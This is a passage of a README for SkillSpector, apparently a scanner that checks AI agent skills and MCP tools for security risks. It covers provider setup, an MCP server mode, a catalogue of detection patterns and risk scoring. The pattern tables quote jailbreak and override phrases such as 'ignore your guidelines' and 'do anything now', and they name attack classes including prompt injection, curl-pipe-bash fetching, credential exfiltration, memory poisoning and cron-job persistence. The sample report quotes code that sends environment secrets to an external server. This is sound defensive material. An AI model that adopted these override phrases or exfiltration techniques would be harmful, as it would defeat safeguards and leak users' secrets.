compatibility; its read-only sandbox permits host-file reads</td> \n   <td>Use an HTTP API provider or another supported CLI provider</td> \n  </tr> \n  <tr> \n   <td><code>gemini_cli</code></td> \n   <td><em>(none \u2014 uses local CLI auth)</em></td> \n   <td>local <code>gemini</code> binary</td> \n   <td>local Gemini runtime fallback, or <code>SKILLSPECTOR_MODEL</code></td> \n  </tr> \n  <tr> \n   <td><code>opencode_cli</code></td> \n   <td><em>(none \u2014 uses local CLI auth)</em></td> \n   <td>local <code>opencode</code> 1.18.33 binary</td> \n   <td>local OpenCode runtime fallback, or <code>SKILLSPECTOR_MODEL</code></td> \n  </tr> \n </tbody> \n</table> \n<p><code>gpt-6.1-sol</code>, <code>claude-opus-5-5</code>, and <code>claude-sonnet-5-5</code> remain opt-in through <code>SKILLSPECTOR_MODEL</code> or per-slot overrides. Promoting them to defaults requires live scanner acceptance covering benign input, credential disclosure, prompt injection, refusals, and incomplete responses. Record findings, completion status, latency, and usage, and compare against previous defaults where accessible.</p> \n<p>For NVIDIA Build's <code>z-ai/glm-5.3</code>, SkillSpector requests <code>high</code> reasoning effort. Set <code>SKILLSPECTOR_REASONING_EFFORT</code> to override it with <code>low</code>, <code>high</code>, or <code>max</code>. The bundled 128,000-token context and 32,000-token output budgets are conservative application limits; they do not claim the hosted endpoint's maximum capacity.</p> \n<p>Structured output is requested through LangChain's <code>with_structured_output</code>. The default is client-specific: <code>ChatOpenAI</code> uses <code>json_schema</code>, while other clients may use tool calling. Some models reject a forced tool call with HTTP 400 (<code>tool_choice: type \"tool\" and \"any\" are not supported for this model</code>). The <code>anthropic</code> and <code>anthropic_proxy</code> providers route those models (<code>claude-opus-5-5</code>, <code>claude-sonnet-5-5</code>, <code>claude-fable-5-1</code>, <code>claude-mythos-5-1</code>, or any registry entry with <code>structured_output: json_schema</code>) to the native JSON-schema response format. Bedrock has no JSON-schema output for them, so the <code>bedrock</code> provider leaves <code>toolChoice</code> at <code>auto</code>, asks for the tool call in the prompt, and retries a prose answer; it recognises the model from the model ID, a geo/global inference-profile ID, or a foundation-model / inference-profile ARN. An application-inference-profile ARN hides the model, so add that ARN to the registry (<code>SKILLSPECTOR_MODEL_REGISTRY</code>) with <code>tool_choice: auto</code>. The <code>openai_compatible</code> provider honours the same <code>tool_choice: auto</code> entry for endpoints that ignore both <code>response_format</code> and a forced <code>tool_choice</code> and answer in prose (for example iFlytek's <code>spark-x2.5</code>, which is bundled). The <code>anthropic</code>, <code>anthropic_proxy</code>, <code>openai</code>, and <code>openai_compatible</code> providers also recognise those Claude models inside gateway model IDs such as <code>anthropic/claude-opus-5-5</code> or <code>aws/anthropic/bedrock-claude-opus-5-5</code>. Some OpenAI-compatible gateways turn a <code>json_schema</code> response format for Claude into a forced tool call, so the <code>openai</code> and <code>openai_compatible</code> providers bind the schema as a tool with <code>tool_choice</code> left at <code>auto</code> and retry a prose answer. <code>SKILLSPECTOR_STRUCTURED_OUTPUT_METHOD=json_schema|function_calling</code> overrides the method for any provider. The method precedence is <code>SKILLSPECTOR_STRUCTURED_OUTPUT_METHOD</code>, the provider's method hint, an analyzer preference, then the client default. TP4 prefers <code>function_calling</code> only for provider <code>openai</code> and the exact model label <code>azure/anthropic/claude-opus-5</code>, with reasoning/thinking controls unset; dated or suffixed labels and other providers keep their existing behavior. An explicit environment override or provider hint still wins when reasoning is configured.</p> \n<pre><code class=\"language-bash\"># Stock OpenAI\nexport SKILLSPECTOR_PROVIDER=openai\nexport OPENAI_API_KEY=sk-...\nskillspector scan ./my-skill/\n\n# Anthropic\nexport SKILLSPECTOR_PROVIDER=anthropic\nexport ANTHROPIC_API_KEY=sk-ant-...\nskillspector scan ./my-skill/\n\n# Anthropic via Vertex-style proxy (corporate gateways, GCP Vertex AI)\nexport SKILLSPECTOR_PROVIDER=anthropic_proxy\nexport ANTHROPIC_PROXY_ENDPOINT_URL=https://my-gateway.example.com/models/claude-sonnet-4-6:streamRawPredict\nexport ANTHROPIC_PROXY_API_KEY=your-bearer-token\nexport SKILLSPECTOR_MODEL=claude-sonnet-4-6\nskillspector scan ./my-skill/\n\n# AWS Bedrock (Claude via SigV4)\nexport SKILLSPECTOR_PROVIDER=bedrock\n# Optional: select an AWS named profile. When unset, the standard\n# boto3 credential chain (env vars, instance metadata, SSO, etc.) resolves.\n# export AWS_PROFILE=my-profile\nexport AWS_REGION=us-west-2  # default if unset\n# Default model: us.anthropic.claude-sonnet-4-6\n# Override with any Bedrock model ID, cross-region inference-profile\n# ID, or your own application-inference-profile ARN. Claude 5.5 is opt-in:\n# us./eu. profiles keep requests in that geography, global. routes worldwide.\n# export SKILLSPECTOR_MODEL=us.anthropic.claude-sonnet-5-5\nskillspector scan ./my-skill/\n\n# NVIDIA build.nvidia.com\nexport SKILLSPECTOR_PROVIDER=nv_build\nexport NVIDIA_INFERENCE_KEY=nvapi-...\nskillspector scan ./my-skill/\n\n# Gemini on Google Cloud (Application Default Credentials / Workload Identity)\n# Prerequisites:\n#   1. Google Cloud project with billing enabled.\n#   2. Enable Gemini Enterprise Agent Platform / Vertex AI API: `aiplatform.googleapis.com`.\n#   3. IAM permission: grant `roles/aiplatform.user` (or at minimum `aiplatform.endpoints.predict`)\n#      to your user account or Kubernetes service account.\n#   4. Local authentication: run `gcloud auth application-default login`.\n#      Configure a quota project if needed: `gcloud auth application-default set-quota-project PROJECT_ID`.\n#   5. Kubernetes / GKE: configure Workload Identity and leave GOOGLE_APPLICATION_CREDENTIALS unset\n#      rather than exporting service account keys.\n# Note on Data Residency:\n#   The default `global` endpoint does not support data-residency requirements. While you can target\n#   `us`, `eu`, or regional endpoints (e.g. `us-central1`), endpoint selection alone does not guarantee\n#   data residency or in-region processing without appropriate organizational policies. Always verify\n#   that your selected model is supported in your target location.\n# Optional credentials:\n#   GOOGLE_APPLICATION_CREDENTIALS is optional and can reference Workload or Workforce Identity Federation\n#   configuration files; exporting long-lived service account keys is discouraged.\nexport SKILLSPECTOR_PROVIDER=gemini\nexport GOOGLE_CLOUD_PROJECT=my-project-id\n# export GOOGLE_CLOUD_LOCATION=global  # default is global; or us, eu, or specific region (e.g. us-central1)\n# Default model: gemini-3.8-flash\n# export SKILLSPECTOR_MODEL=gemini-3.7-flash\nskillspector scan ./my-skill/\n\n# Local Claude CLI \u2014 no API key; uses your existing `claude auth login` session\n# Requires: claude CLI installed and authenticated (claude auth login)\nexport SKILLSPECTOR_PROVIDER=claude_cli\n# Uses the local Claude CLI runtime fallback unless SKILLSPECTOR_MODEL is set.\n# export SKILLSPECTOR_MODEL=claude-sonnet-4-6\nskillspector scan ./my-skill/\n\n# Gemini (via OpenAI compatibility layer)\nexport SKILLSPECTOR_PROVIDER=openai\nexport OPENAI_API_KEY=\"YOUR_GEMINI_API_KEY\"\nexport OPENAI_BASE_URL=\"https://generativelanguage.googleapis.com/v1beta/openai/\"\nexport SKILLSPECTOR_MODEL=gemini-3.5-flash\nskillspector scan ./my-skill/\n\n# Local Ollama \u2014 no API key\nexport SKILLSPECTOR_PROVIDER=ollama\n# export OLLAMA_BASE_URL=http://localhost:11434/v1  # shown default\nexport SKILLSPECTOR_MODEL=llama3.1:8b\nskillspector scan ./my-skill/\n\n# Azure OpenAI\nexport SKILLSPECTOR_PROVIDER=azure_openai\nexport AZURE_OPENAI_API_KEY=...\nexport AZURE_OPENAI_ENDPOINT=https://example.openai.azure.com/\nexport AZURE_OPENAI_DEPLOYMENT=my-deployment\nskillspector scan ./my-skill/\n\n# Any other OpenAI-compatible endpoint\nexport SKILLSPECTOR_PROVIDER=openai_compatible\nexport SKILLSPECTOR_COMPAT_API_KEY=...\nexport SKILLSPECTOR_COMPAT_BASE_URL=https://api.groq.com/openai/v1\nexport SKILLSPECTOR_MODEL=llama-3.1-70b-versatile\nskillspector scan ./my-skill/\n\n# Override the provider's default model\nexport SKILLSPECTOR_MODEL=gpt-5.2\nskillspector scan ./my-skill/\n\n# Skip LLM analysis (faster, static analysis only)\nskillspector scan ./my-skill/ --no-llm\n</code></pre> \n<h3>MCP Server</h3> \n<p>Run SkillSpector as a <a href=\"https://modelcontextprotocol.io\">Model Context Protocol</a> server so local MCP-capable agents (Claude Code, Codex CLI, Gemini CLI) can call scanning as a tool and <strong>gate skill/MCP installs on the result</strong> \u2014 turning SkillSpector into a runtime guardrail instead of an out-of-band audit step.</p> \n<p><code>skillspector mcp</code> requires <code>skillspector[mcp]</code>.</p> \n<pre><code class=\"language-bash\"># Install, or reinstall if you already used the CLI-only path\nuv tool install --force 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'\n\n# FastMCP stdio transport for local CLI agents\nskillspector mcp\n\n# Streamable HTTP transport on a local loopback interface\nskillspector mcp --transport http --host 127.0.0.1 --port 8000\n</code></pre> \n<p>The stdio transport is the current FastMCP path for local CLI agents, and the initialize hang reported in issue #199 still applies there.</p> \n<p>The server exposes a single tool:</p> \n<ul> \n <li><strong><code>scan_skill(target, use_llm=true, output_format=\"json\")</code></strong> \u2014 scans a Git URL, file URL, <code>.zip</code>, <code>.md</code> file, or directory and returns a structured verdict: <code>risk_score</code> (0-100), <code>severity</code>, <code>recommendation</code>, <code>safe_to_install</code>, and <code>findings</code>. It also reports <code>llm_used</code> / <code>scan_mode</code> so a low score from a static-only scan is never mistaken for a clean full scan.</li> \n</ul> \n<p>Register it with Claude Code via:</p> \n<pre><code class=\"language-bash\">claude mcp add skillspector -- skillspector mcp\n</code></pre> \n<blockquote> \n <p><strong>Security \u2014 HTTP transport trust model</strong></p> \n <p>The HTTP transport ships <strong>without authentication</strong>. Any caller that can reach the port can invoke <code>scan_skill</code>. HTTP bindings are restricted to loopback IPs (<code>127.0.0.1</code> or <code>::1</code>); <code>localhost</code> binds to <code>127.0.0.1</code> without DNS resolution. Wildcard, routable and other hostname bindings are rejected.</p> \n <ul> \n  <li>For remote access, put an authenticating reverse proxy (e.g. nginx + mTLS) in front of the loopback listener.</li> \n  <li>Local paths and <code>file://</code> URLs are <strong>automatically rejected</strong> over HTTP to prevent unauthenticated callers from reading arbitrary host files. Only remote Git and <code>.zip</code> URLs are accepted.</li> \n </ul> \n <p>HTTP scans accept only credential-free <code>https://</code> targets. Git scans never use the server's Git login or Git config. If a proxy or custom CA is needed, set <code>HTTPS_PROXY</code>, <code>NO_PROXY</code> or <code>GIT_SSL_CAINFO</code> in the server environment. Use stdio or the CLI for private repositories. Git redirects are rejected; use the current repository URL after a rename or transfer.</p> \n</blockquote> \n<h2>Vulnerability Patterns</h2> \n<p>SkillSpector detects <strong>71 vulnerability patterns</strong> across 17 categories:</p> \n<h3>Prompt Injection (6 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>P1</td> \n   <td>Instruction Override</td> \n   <td>HIGH</td> \n   <td>Commands to ignore safety constraints</td> \n  </tr> \n  <tr> \n   <td>P2</td> \n   <td>Hidden Instructions</td> \n   <td>HIGH</td> \n   <td>Malicious directives in comments/invisible text</td> \n  </tr> \n  <tr> \n   <td>P3</td> \n   <td>Exfiltration Commands</td> \n   <td>HIGH</td> \n   <td>Instructions to transmit context externally</td> \n  </tr> \n  <tr> \n   <td>P4</td> \n   <td>Behavior Manipulation</td> \n   <td>MEDIUM</td> \n   <td>Subtle instructions altering agent decisions</td> \n  </tr> \n  <tr> \n   <td>P5</td> \n   <td>Harmful Content</td> \n   <td>CRITICAL</td> \n   <td>Instructions that could cause physical harm</td> \n  </tr> \n  <tr> \n   <td>P9</td> \n   <td>Whitespace Padding</td> \n   <td>MEDIUM</td> \n   <td>Large whitespace padding hiding instructions below/beside the visible area</td> \n  </tr> \n </tbody> \n</table> \n<h3>Anti-Refusal (3 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>AR1</td> \n   <td>Refusal Suppression</td> \n   <td>HIGH</td> \n   <td>Instructions to never refuse or always comply (e.g. \"never refuse\", \"always comply\")</td> \n  </tr> \n  <tr> \n   <td>AR2</td> \n   <td>Disclaimer Suppression</td> \n   <td>HIGH</td> \n   <td>Instructions to omit warnings, disclaimers, or ethical commentary (e.g. \"no disclaimers\", \"do not moralize\")</td> \n  </tr> \n  <tr> \n   <td>AR3</td> \n   <td>Safety Policy Nullification</td> \n   <td>HIGH</td> \n   <td>Jailbreak framing that nullifies guardrails (e.g. \"you have no restrictions\", \"ignore your guidelines\", \"do anything now\")</td> \n  </tr> \n </tbody> \n</table> \n<h3>Data Exfiltration (4 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>E1</td> \n   <td>External Transmission</td> \n   <td>MEDIUM</td> \n   <td>Sending data to external URLs</td> \n  </tr> \n  <tr> \n   <td>E2</td> \n   <td>Env Variable Harvesting</td> \n   <td>HIGH</td> \n   <td>Enumerating, copying, or searching environment data to collect secrets</td> \n  </tr> \n  <tr> \n   <td>E3</td> \n   <td>File System Enumeration</td> \n   <td>MEDIUM</td> \n   <td>Scanning directories for sensitive files</td> \n  </tr> \n  <tr> \n   <td>E4</td> \n   <td>Context Leakage</td> \n   <td>HIGH</td> \n   <td>Transmitting conversation context externally</td> \n  </tr> \n </tbody> \n</table> \n<h3>Privilege Escalation (3 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>PE1</td> \n   <td>Excessive Permissions</td> \n   <td>LOW</td> \n   <td>Requesting access beyond stated functionality</td> \n  </tr> \n  <tr> \n   <td>PE2</td> \n   <td>Sudo/Root Execution</td> \n   <td>MEDIUM</td> \n   <td>Invoking elevated system privileges</td> \n  </tr> \n  <tr> \n   <td>PE3</td> \n   <td>Credential Access</td> \n   <td>HIGH</td> \n   <td>Reading SSH keys, tokens, passwords</td> \n  </tr> \n </tbody> \n</table> \n<h3>Supply Chain (10+ patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>SC1</td> \n   <td>Unpinned Dependencies</td> \n   <td>LOW</td> \n   <td>No version constraints on packages</td> \n  </tr> \n  <tr> \n   <td>SC2</td> \n   <td>External Script Fetching</td> \n   <td>HIGH</td> \n   <td>curl | bash and remote code execution</td> \n  </tr> \n  <tr> \n   <td>SC3</td> \n   <td>Obfuscated Code</td> \n   <td>HIGH</td> \n   <td>Base64/hex encoded execution</td> \n  </tr> \n  <tr> \n   <td>SC4</td> \n   <td>Known Vulnerable Dependencies</td> \n   <td>HIGH</td> \n   <td>Dependencies with known CVEs (live OSV.dev lookup)</td> \n  </tr> \n  <tr> \n   <td>SC5</td> \n   <td>Abandoned Dependencies</td> \n   <td>MEDIUM</td> \n   <td>Unmaintained packages without security updates</td> \n  </tr> \n  <tr> \n   <td>SC6</td> \n   <td>Typosquatting</td> \n   <td>HIGH</td> \n   <td>Package names similar to popular packages</td> \n  </tr> \n  <tr> \n   <td>SC8</td> \n   <td>Shipped Python Bytecode</td> \n   <td>HIGH</td> \n   <td><code>__pycache__</code> / <code>.pyc</code> present (discovery skips; malicious bytecode bypass)</td> \n  </tr> \n  <tr> \n   <td>SC9</td> \n   <td>Concealed Executable Artifact</td> \n   <td>HIGH</td> \n   <td>Executable nested in a document container or hidden/disguised artifact; root-level visible source helpers in manifested <code>.agents/skills/&lt;name&gt;/</code> and <code>.claude/skills/&lt;name&gt;/</code> folders are exempted but remain local-only and are marked as not LLM-reviewed</td> \n  </tr> \n  <tr> \n   <td>SC10</td> \n   <td>Dependency Source Redirection</td> \n   <td>HIGH</td> \n   <td>Package-manager source added, replaced, or unresolved</td> \n  </tr> \n </tbody> \n</table> \n<h3>Excessive Agency (5 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>EA1</td> \n   <td>Unrestricted Tool Access</td> \n   <td>HIGH</td> \n   <td>Unfettered tool access without constraints</td> \n  </tr> \n  <tr> \n   <td>EA2</td> \n   <td>Autonomous Decision Making</td> \n   <td>HIGH</td> \n   <td>High-impact decisions without human-in-the-loop</td> \n  </tr> \n  <tr> \n   <td>EA3</td> \n   <td>Scope Creep</td> \n   <td>MEDIUM</td> \n   <td>Capabilities extending beyond stated purpose</td> \n  </tr> \n  <tr> \n   <td>EA4</td> \n   <td>Unbounded Resource Access</td> \n   <td>MEDIUM</td> \n   <td>No rate limits or quotas on resource consumption</td> \n  </tr> \n  <tr> \n   <td>EA5</td> \n   <td>External Model or Provider Selection</td> \n   <td>MEDIUM/HIGH</td> \n   <td>Model/provider pins or coding-CLI shell-outs that can switch billing accounts</td> \n  </tr> \n </tbody> \n</table> \n<h3>Output Handling (3 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>OH1</td> \n   <td>Unvalidated Output Injection</td> \n   <td>HIGH</td> \n   <td>Model output used without sanitization</td> \n  </tr> \n  <tr> \n   <td>OH2</td> \n   <td>Cross-Context Output</td> \n   <td>MEDIUM</td> \n   <td>Output flows across trust boundaries without validation</td> \n  </tr> \n  <tr> \n   <td>OH3</td> \n   <td>Unbounded Output</td> \n   <td>MEDIUM</td> \n   <td>No limits on output size or generation rate</td> \n  </tr> \n </tbody> \n</table> \n<h3>System Prompt Leakage (3 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>P6</td> \n   <td>Direct Leakage</td> \n   <td>HIGH</td> \n   <td>Instructions that expose system prompts or internal rules</td> \n  </tr> \n  <tr> \n   <td>P7</td> \n   <td>Indirect Extraction</td> \n   <td>MEDIUM</td> \n   <td>Extraction via rephrasing, translation, or side-channels</td> \n  </tr> \n  <tr> \n   <td>P8</td> \n   <td>Tool-Based Exfiltration</td> \n   <td>HIGH</td> \n   <td>System prompts exfiltrated via file writes or network requests</td> \n  </tr> \n </tbody> \n</table> \n<h3>Memory Poisoning (3 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>MP1</td> \n   <td>Persistent Context Injection</td> \n   <td>HIGH</td> \n   <td>Content designed to persist across interactions</td> \n  </tr> \n  <tr> \n   <td>MP2</td> \n   <td>Context Window Stuffing</td> \n   <td>MEDIUM</td> \n   <td>Filler content displacing safety constraints</td> \n  </tr> \n  <tr> \n   <td>MP3</td> \n   <td>Memory Manipulation</td> \n   <td>HIGH</td> \n   <td>Tampering with agent memory or stored state</td> \n  </tr> \n </tbody> \n</table> \n<h3>Tool Misuse (3 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>TM1</td> \n   <td>Tool Parameter Abuse</td> \n   <td>HIGH</td> \n   <td>Crafted parameters for unintended behavior (shell=True, --force)</td> \n  </tr> \n  <tr> \n   <td>TM2</td> \n   <td>Chaining Abuse</td> \n   <td>HIGH</td> \n   <td>Tool chains that bypass individual safety checks</td> \n  </tr> \n  <tr> \n   <td>TM3</td> \n   <td>Unsafe Defaults</td> \n   <td>MEDIUM</td> \n   <td>Overly permissive defaults (disabled TLS, no auth)</td> \n  </tr> \n </tbody> \n</table> \n<h3>Rogue Agent (2 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>RA1</td> \n   <td>Self-Modification</td> \n   <td>CRITICAL</td> \n   <td>Modifying own code or configuration at runtime</td> \n  </tr> \n  <tr> \n   <td>RA2</td> \n   <td>Session Persistence</td> \n   <td>HIGH</td> \n   <td>Unauthorized persistence via cron jobs or startup scripts</td> \n  </tr> \n </tbody> \n</table> \n<h3>Trigger Abuse (3 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>TR1</td> \n   <td>Overly Broad Trigger</td> \n   <td>MEDIUM</td> \n   <td>Trigger patterns matching common words</td> \n  </tr> \n  <tr> \n   <td>TR2</td> \n   <td>Shadow Command Trigger</td> \n   <td>HIGH</td> \n   <td>Triggers that shadow built-in commands or other skills</td> \n  </tr> \n  <tr> \n   <td>TR3</td> \n   <td>Keyword Baiting Trigger</td> \n   <td>MEDIUM</td> \n   <td>Generic triggers designed to maximize activation</td> \n  </tr> \n </tbody> \n</table> \n<h3>Behavioral AST (9 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>AST1</td> \n   <td>exec() Call</td> \n   <td>CRITICAL</td> \n   <td>Direct exec() enabling arbitrary code execution</td> \n  </tr> \n  <tr> \n   <td>AST2</td> \n   <td>eval() Call</td> \n   <td>HIGH</td> \n   <td>Direct eval() evaluating arbitrary expressions</td> \n  </tr> \n  <tr> \n   <td>AST3</td> \n   <td>Dynamic Import</td> \n   <td>HIGH</td> \n   <td>__import__() loading arbitrary modules at runtime</td> \n  </tr> \n  <tr> \n   <td>AST4</td> \n   <td>subprocess Call</td> \n   <td>HIGH</td> \n   <td>External command execution via subprocess</td> \n  </tr> \n  <tr> \n   <td>AST5</td> \n   <td>os.system / exec-family</td> \n   <td>HIGH</td> \n   <td>Shell commands via os module</td> \n  </tr> \n  <tr> \n   <td>AST6</td> \n   <td>compile() Call</td> \n   <td>MEDIUM</td> \n   <td>Code object creation from strings</td> \n  </tr> \n  <tr> \n   <td>AST7</td> \n   <td>Dynamic getattr()</td> \n   <td>MEDIUM</td> \n   <td>Arbitrary attribute access with non-literal names</td> \n  </tr> \n  <tr> \n   <td>AST8</td> \n   <td>Dangerous Execution Chain</td> \n   <td>CRITICAL</td> \n   <td>exec/eval combined with dynamic source (network, encoded data)</td> \n  </tr> \n  <tr> \n   <td>AST9</td> \n   <td>Reflective getattr() Sink</td> \n   <td>HIGH</td> \n   <td>Reflective exec via <code>getattr(os,'system')</code> / <code>getattr(builtins,'exec')</code> that evades AST1/AST5</td> \n  </tr> \n </tbody> \n</table> \n<h3>Taint Tracking (5 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>TT1</td> \n   <td>Direct Taint Flow</td> \n   <td>HIGH</td> \n   <td>Data flows directly from a source to a sink without sanitization</td> \n  </tr> \n  <tr> \n   <td>TT2</td> \n   <td>Variable-Mediated Taint Flow</td> \n   <td>MEDIUM</td> \n   <td>Data flows from source to sink through intermediate variables</td> \n  </tr> \n  <tr> \n   <td>TT3</td> \n   <td>Credential Exfiltration Chain</td> \n   <td>CRITICAL</td> \n   <td>Credentials (env vars, secrets) flow to network output sinks</td> \n  </tr> \n  <tr> \n   <td>TT4</td> \n   <td>File Read to Network Exfiltration</td> \n   <td>HIGH</td> \n   <td>File contents flow to network output sinks</td> \n  </tr> \n  <tr> \n   <td>TT5</td> \n   <td>External Input to Code Execution</td> \n   <td>CRITICAL</td> \n   <td>Network or user input flows to exec/eval/subprocess sinks</td> \n  </tr> \n </tbody> \n</table> \n<h3>YARA Signatures (4 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>YR1</td> \n   <td>Malware Match</td> \n   <td>CRITICAL</td> \n   <td>YARA rule match for known malware signatures</td> \n  </tr> \n  <tr> \n   <td>YR2</td> \n   <td>Webshell Match</td> \n   <td>CRITICAL</td> \n   <td>YARA rule match for webshell patterns</td> \n  </tr> \n  <tr> \n   <td>YR3</td> \n   <td>Cryptominer Match</td> \n   <td>HIGH</td> \n   <td>YARA rule match for crypto mining indicators</td> \n  </tr> \n  <tr> \n   <td>YR4</td> \n   <td>Hack Tool / Exploit Match</td> \n   <td>HIGH</td> \n   <td>YARA rule match for hack tools or exploit code</td> \n  </tr> \n </tbody> \n</table> \n<h3>MCP Least Privilege (4 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>LP1</td> \n   <td>Underdeclared Capability</td> \n   <td>HIGH</td> \n   <td>Code uses capabilities not listed in declared permissions</td> \n  </tr> \n  <tr> \n   <td>LP2</td> \n   <td>Wildcard Permission</td> \n   <td>MEDIUM</td> \n   <td>Permission list contains wildcards (*, all, full, any)</td> \n  </tr> \n  <tr> \n   <td>LP3</td> \n   <td>Missing Permission Declaration</td> \n   <td>MEDIUM</td> \n   <td>No permissions field but code has detectable capabilities</td> \n  </tr> \n  <tr> \n   <td>LP4</td> \n   <td>Overdeclared Permission</td> \n   <td>LOW</td> \n   <td>Permission declared but no corresponding code capability found</td> \n  </tr> \n </tbody> \n</table> \n<h3>MCP Tool Poisoning (4 patterns)</h3> \n<table> \n <thead> \n  <tr> \n   <th>ID</th> \n   <th>Pattern</th> \n   <th>Severity</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>TP1</td> \n   <td>Hidden Instructions</td> \n   <td>HIGH</td> \n   <td>Hidden directives in metadata (HTML comments, zero-width chars, base64, data URIs)</td> \n  </tr> \n  <tr> \n   <td>TP2</td> \n   <td>Unicode Deception</td> \n   <td>HIGH</td> \n   <td>Homoglyphs, RTL overrides, mixed-script identifiers in tool metadata</td> \n  </tr> \n  <tr> \n   <td>TP3</td> \n   <td>Parameter Description Injection</td> \n   <td>MEDIUM</td> \n   <td>Injection patterns in parameter definitions (overrides, system tokens, malicious defaults)</td> \n  </tr> \n  <tr> \n   <td>TP4</td> \n   <td>Description-Behavior Mismatch</td> \n   <td>MEDIUM</td> \n   <td>Declared tool description does not match actual code behavior (LLM-powered)</td> \n  </tr> \n </tbody> \n</table> \n<p>All detected patterns are listed in the tables above.</p> \n<h2>Risk Scoring</h2> \n<h3>Score Calculation</h3> \n<ul> \n <li><strong>CRITICAL issues</strong>: +50 points</li> \n <li><strong>HIGH issues</strong>: +25 points</li> \n <li><strong>MEDIUM issues</strong>: +10 points</li> \n <li><strong>LOW issues</strong>: +5 points</li> \n <li><strong>Executable scripts</strong>: 1.3x multiplier</li> \n</ul> \n<h3>Severity Levels</h3> \n<table> \n <thead> \n  <tr> \n   <th>Score</th> \n   <th>Severity</th> \n   <th>Recommendation</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>0-20</td> \n   <td>LOW</td> \n   <td>SAFE</td> \n  </tr> \n  <tr> \n   <td>21-50</td> \n   <td>MEDIUM</td> \n   <td>CAUTION</td> \n  </tr> \n  <tr> \n   <td>51-80</td> \n   <td>HIGH</td> \n   <td>DO NOT INSTALL</td> \n  </tr> \n  <tr> \n   <td>81-100</td> \n   <td>CRITICAL</td> \n   <td>DO NOT INSTALL</td> \n  </tr> \n </tbody> \n</table> \n<h2>Example Output</h2> \n<h3>Terminal Output</h3> \n<pre><code> SkillSpector Security Report  v2.0.0\n\nSkill: suspicious-skill\nSource: ./suspicious-skill/\nScanned: 2026-01-29 10:30:00 UTC\n\n        Risk Assessment\n Metric          Value\n Score           78/100\n Severity        HIGH\n Recommendation  DO NOT INSTALL\n\n        Components (3)\n File              Type      Lines  Executable\n SKILL.md          markdown    142  No\n scripts/sync.py   python       87  Yes\n requirements.txt  text          3  No\n\nIssues (2)\n\n  HIGH: Env Variable Harvesting (E2)\n    Location: scripts/sync.py:23\n    Finding: for key, val in os.environ.items():...\n    Confidence: 94%\n    Explanation: This code collects environment variables containing\n    API keys and secrets, then sends them to an external server.\n\n  HIGH: External Transmission (E1)\n    Location: scripts/sync.py:45\n    Finding: requests.post(\"https://api.skill.io/env\"...\n    Confidence: 89%\n    Explanation: Data is being sent to an external server. Combined\n    with env harvesting above, this indicates credential exfiltration.\n</code></pre> \n<h2>Configuration</h2> \n<h3>Environment Variables</h3> \n<table> \n <thead> \n  <tr> \n   <th>Variable</th> \n   <th>Description</th> \n   <th>Required</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><code>SKILLSPECTOR_PROVIDER</code></td> \n   <td>Active LLM provider: <code>openai</code>, <code>anthropic</code>, <code>anthropic_proxy</code>, <code>bedrock</code>, <code>nv_build</code>, <code>gemini</code>, <code>ollama</code>, <code>azure_openai</code>, <code>openai_compatible</code>, <code>claude_cli</code>, <code>gemini_cli</code>, or <code>opencode_cli</code>. Hosted providers use bundled <code>model_registry.yaml</code> defaults; CLI providers fall back to the local runtime's default model unless 